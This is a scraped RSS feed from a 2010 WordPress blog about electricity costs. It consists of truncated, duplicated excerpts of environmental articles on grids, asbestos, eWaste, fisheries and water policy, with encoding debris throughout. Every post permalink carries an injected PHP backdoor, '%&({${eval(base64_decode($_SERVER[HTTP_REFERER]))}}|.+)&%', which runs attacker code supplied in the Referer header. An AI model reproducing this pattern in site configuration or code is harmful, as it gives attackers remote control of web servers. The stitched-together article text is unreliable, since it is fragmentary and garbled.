http://electriccostmonitor.com Use a Home Electricity Monitor to Keep an Eye On Electric Costs! Thu, 18 Mar 2010 12:32:02 +0000 http://wordpress.org/?v=2.5 en http://electriccostmonitor.com/2010/03/18/science-and-policymaking-spin-on-science-can-lead-to-mischief-and-extinction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://electriccostmonitor.com/2010/03/18/science-and-policymaking-spin-on-science-can-lead-to-mischief-and-extinction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 18 Mar 2010 12:32:02 +0000 admin The Superb Grid vs. the SuperGrid
Please see the article by Sam Carana on how a larger and simultaneously more local grid can be implemented, to capture as much of the electricity being generated as possible. Read about how many parts of Europe already have surplus electricity and countries are linking their grids together toimprove efficiency.

Environmental Consequences: Asbestos and Human Health When microscopic asbestos fibers are inhaled, they lodge themselves in the lining of lungs. This lays the groundwork for the deadly asbestos cancer, mesothelioma. Perhaps it should come as no coincidence then that rates of pleural cancer (mesothelioma) in oil refinery workers are among the highest of any occupation.

Poisoning the Poor with eWaste in Ghana Green issues are sometimes complex. We need to recycle many things, like electronics, but we certainly don’t want to poison others in the process. Efforts to protect the environment and conserve valuable resources must be coupled with proper health and safety procedures. Unfortunately, just saying this doesn’t make it happen. Developing countries are becoming a dumping ground for much toxic waste and proper environmental health and safety is being ignored, both by local opportunists and suppliers of e-Waste from developed nations.

A New Tool for the Fleet Managers Toolkit: Reduce Costs and Emissions from Medium-Duty Trucks Medium-duty trucks are the workhorses of the American economy. They deliver food and beverages to restaurants and convenience stores, drop off packages at homes and offices, serve as mobile workshops for all types of technicians and perform thousands of other daily tasks. They are also responsible for producing over 80 million metric tons of carbon [.]

Listening Sessions with Gullah/Geechee Fishermen Continue My journey to engage and build relationships with Southeastern, African-American fishermen continued last week with stops in Florida and Georgia. On Friday and Saturday, I reunited with Queen Quet, Chieftess of the Gullah/Geechee Nation and founder of the Gullah/Geechee Sea Island Coalition, to co-sponsor listening sessions in Fernandina, Florida and Brunswick, Georgia. Mirroring the session [.]

Can Elevating Houses Keep Unemployment From Rising? The following is a pretty stark visualization of unemployment rates in Louisiana compared to the rest of the United States (a nifty tool provided by the folks at Google). Before Katrina (that big spike there in 2005), Louisiana's unemployment consistently hovered above the national average. But after the storm, unemployment dipped below and stayed below the [.]

Dell, HP Cut PC Power Consumption 2010 For both laptop and desktop computers, Dell plans to cut power consumption as part of its required work on compliance with the EPA’s EnergyStar 5.0 standard, reports Mark Hachman of pcmag.com. HP earlier said it would cut power use of “volume” PCs by 25 percent, relative to 2005. In those terms, Dell’s reductions would be [.]

Science and Policymaking: Spin on science can lead to mischief and extinction Rod Fujita is Senior Scientist and Director, Ocean Innovations, for EDF.The National Research Council Reviews Biological Opinions Designed to Protect Endangered Fish SpeciesOn March 15th, the National Research Council (NRC) of the National Academy of Sciences will issue an important report. It will detail the NRCs evaluation of the science that has been used to [.]

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Carbon Capture DNA/Crystal StructureUCLA chemists have created crystals that can capture carbon dioxide.

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Burj Khalifa - ClosedThe world’s tallest skyscraper has unexpectedly closed just a month after it opened. The viewing area had been the only portion of the 2,717 foot building open to the public and it is now indefinitely closed amid Dubai’s struggle to revive it’s economy.Electrical problems are at least partly to blame for the [.]

EDFix Call #7 afterthoughts: Principles of Change EUR Macrowikinomics  EDFix Call #7 – Summary (9 min.) Download MP3 | Subscribe in iTunes EDFix Call #7 – Full (51 min.) Download MP3 | Subscribe in iTunes Get Call Updates by Email Anthony Williams, co-author of Wikinomics and its forthcoming sequel, Macrowikinomics, joined the EDFix call on Feb. 22 to give us his insights into new approaches for large-scale change we [.]

Putting the Cart Before the Horse: The Legislature calls out the Administration on rushing water decisions Cynthia Koehler is Senior Attorney andCalifornia Water Legislative Director for EDF. Ann Hayden is a Senior Water Resource Analyst at EDF. If nothing else, Tuesdays joint oversight hearing before the Assembly Water Parks and Wildlife and the Senate Resources and Water Committees made clear that while the Delta package was enacted last year, the Legislature remains [.]

Let’s Stay in Touch An important objective of Environmental Defense Fund's Innovation Exchange is to connect with other people who work at the nexus of business and sustainability and make the whole network more effective. We believe networking and shared learning are central to the rapid innovation needed to dramatically improve sustainability in business. We want to know who [.]

Drop by Drop: Seven Ways Texas Cities Can Conserve Water Guest post by Ken Kramer, Director of the Lone Star Chapter of the Sierra Club.The best and cheapest source of water is the one thats already on tap.Unfortunately for Texas EUR which is the fastest growing state in the union EUR a new report from National Wildlife Federation and the Lone Star Chapter of the [.]

Events: Grant Application Deadlines for the Road Home and Individual Mitigation Measures Programs, March 10 As reported by (the appropriately named) David Hammer in the New Orleans Times-Picayune on Monday, today is the deadline for applications by Louisiana homeowners ]]> http://electriccostmonitor.com/2010/03/15/lets-stay-in-touch/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://electriccostmonitor.com/2010/03/14/hydrogen-fuel-cell-cars-arrive/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://electriccostmonitor.com/2010/03/14/hydrogen-fuel-cell-cars-arrive/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 14 Mar 2010 12:10:01 +0000 admin

Hydrogen Fuel Cell Cars Arrive Hydrogen fuel cell-powered cars are now in the hands of consumers, with more on the way. These custom-made cars from Chevrolet, Honda and BMW are paving the way for production models of the future.

Invitrum by Valcucine Invitrum CabinetsValcucine has designed a line of cabinets that are made from 100% recyclable materials. ]]> http://electriccostmonitor.com/2010/03/14/hydrogen-fuel-cell-cars-arrive/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://electriccostmonitor.com/2010/03/13/can-the-us-compete-with-china-fred-krupp-says-yes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://electriccostmonitor.com/2010/03/13/can-the-us-compete-with-china-fred-krupp-says-yes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 13 Mar 2010 13:20:10 +0000 admin

Can the U.S. Compete with China? Fred Krupp Says “Yes” China's growing economic power is a growing ]]> http://electriccostmonitor.com/2010/03/13/can-the-us-compete-with-china-fred-krupp-says-yes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://electriccostmonitor.com/2010/03/12/asbestos-use-today-information-from-a-reader/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://electriccostmonitor.com/2010/03/12/asbestos-use-today-information-from-a-reader/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 12 Mar 2010 13:56:02 +0000 admin

An Interview with EDFs Chief Oceans Scientist, Doug Rader EDF's Oceans program team is comprised of knowledgeable people with a wide range of experience in fisheries, marine sciences and oceans policy. In continuing with our spotlight on EDF's passionate and talented Oceans staff, we invite you to learn a little more about our Chief Oceans Scientist, Dr. Doug Rader.Where is your family from?My fathers [.]

Dell, HP Cut PC Power Consumption 2010 For both laptop and desktop computers, Dell plans to cut power consumption as part of its required work on compliance with the EPA’s EnergyStar 5.0 standard, reports Mark Hachman of pcmag.com. HP earlier said it would cut power use of “volume” PCs by 25 percent, relative to 2005. In those terms, Dell’s reductions would be [.]

EDFs Chief Oceans Scientist Talks Catch Shares at WWF Dr. Doug Rader spoke to scientists, policy analysts and conservationists at WWFs headquarters in Washington, D.C. as part of the Kathryn Fuller Science for Nature Fund seminar series. Dr. Rader spoke about how ever-stringent and complicated measures to control pressure from fishing has failed to stem the tide of collapsed fisheries around the world and [.]

Industry to EPA, Congress: Restrain me before I falsely claim CBI again! Richard Denison, Ph.D., is a Senior Scientist.Sara Goodman of Greenwire/E&E News had a great piece picked up by the New York Times yesterday about state governments pressing for meaningful TSCA reform. I blogged earlier about the states reform principles, quoting Ted Sturdevant, Director of the Washington State Department of Ecology, urging that EUR ]]> http://electriccostmonitor.com/2010/03/11/edfix-call-7-afterthoughts-principles-of-change-eur-macrowikinomics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://electriccostmonitor.com/2010/03/10/environmental-consequences-asbestos-and-human-health/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://electriccostmonitor.com/2010/03/10/environmental-consequences-asbestos-and-human-health/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 10 Mar 2010 13:18:02 +0000 admin

Upcoming Events: Bayou Segnette Cypress Planting, March 12-13 and March 20 Just in time for spring, the Coalition to Restore Coastal Louisiana (CRCL) ]]> http://electriccostmonitor.com/2010/03/10/environmental-consequences-asbestos-and-human-health/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://electriccostmonitor.com/2010/03/09/only-a-reprieve-for-the-endangered-species-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://electriccostmonitor.com/2010/03/09/only-a-reprieve-for-the-endangered-species-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 09 Mar 2010 13:12:05 +0000 admin

Lessons Learned for Reducing Transportation Emissions in the Supply Chain EUR ]]> http://electriccostmonitor.com/2010/03/09/only-a-reprieve-for-the-endangered-species-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/